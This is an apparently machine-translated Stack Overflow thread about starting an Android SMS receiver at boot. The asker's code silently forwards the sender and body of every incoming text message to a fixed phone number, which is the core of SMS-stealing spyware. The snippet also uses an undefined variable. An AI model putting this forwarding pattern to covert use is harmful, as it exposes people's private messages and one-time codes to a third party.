Android 从onBootBroadcastreceiver调用SmsBroadcastreceiver?
我有一个Sms广播接收器类,它扩展了broadcastreceiver来处理传入的Sms,我想让它在启动时运行。我如何从我的onBootReceiver类激活它,它也扩展了broadcastreceiver 我的SmsBroadcastReceiver.java如下所示Android 从onBootBroadcastreceiver调用SmsBroadcastreceiver?,android,broadcastreceiver,boot,app-startup,Android,Broadcastreceiver,Boot,App Startup,我有一个Sms广播接收器类,它扩展了broadcastreceiver来处理传入的Sms,我想让它在启动时运行。我如何从我的onBootReceiver类激活它,它也扩展了broadcastreceiver 我的SmsBroadcastReceiver.java如下所示 public class SmsBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context konte
public class SmsBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context konteks, Intent intent) {
Log.v("SmsReceiver", "Tel Number: " + telNumber);
sendSMS(konteks, intent, telNumber);
}
private void sendSMS(Context context, Intent intent, String phoneNumber) {
//ambil sms yang masuk
Bundle bundle = intent.getExtras();
SmsMessage[] msgs = null;
if (bundle != null) {
//menerima pesan dan menyalinnya untuk kemudian dikirim ke nomor tujuan
Object[] pdus = (Object[]) bundle.get("pdus");
msgs = new SmsMessage[pdus.length];
for (int i = 0; i < msgs.length; i++) {
msgs[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
SmsManager sms = SmsManager.getDefault();
String from = msgs[i].getDisplayOriginatingAddress();
String message = msgs[i].getMessageBody().toString();
String all = from + ":" + message;
Log.v("SmsReceiver", "SMS Message: " + all);
sms.sendTextMessage(phoneNumber, null, all, null, null); //kirim pesan
}
}
}
在BootReceiver类中,您可以动态注册SmsBroadcastReceiver类
public class MyBootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
IntentFilter filter = new IntentFilter();
filter.addAction("android.provider.Telephony.SMS_RECEIVED");
registerReceiver(new SmsBroadcastReceiver(), filter);
}
}
否。您不能从另一个广播接收器注册广播接收器,尤其是当原始广播接收器已在舱单中注册时。托管MyBootReceiver的进程可能会在onReceive结束后的几秒钟内终止,因为启动时有大量进程搅动,这意味着您的内部接收器会消失。Ohh感谢您让我知道。OP希望只在启动时注册它,所以认为这是唯一的方法。我想让它在启动时运行-这是什么意思?BroadcastReceiver在收到广播之前不会运行。当收到短信时,您的广播接收器将运行。这是完全正常的。在开机时你想完成什么?当手机启动时它准备好了吗?是的。但是,请注意,在Android 3.1及更高版本上,用户必须在安装后运行一次应用程序,然后才能使用任何广播接收器。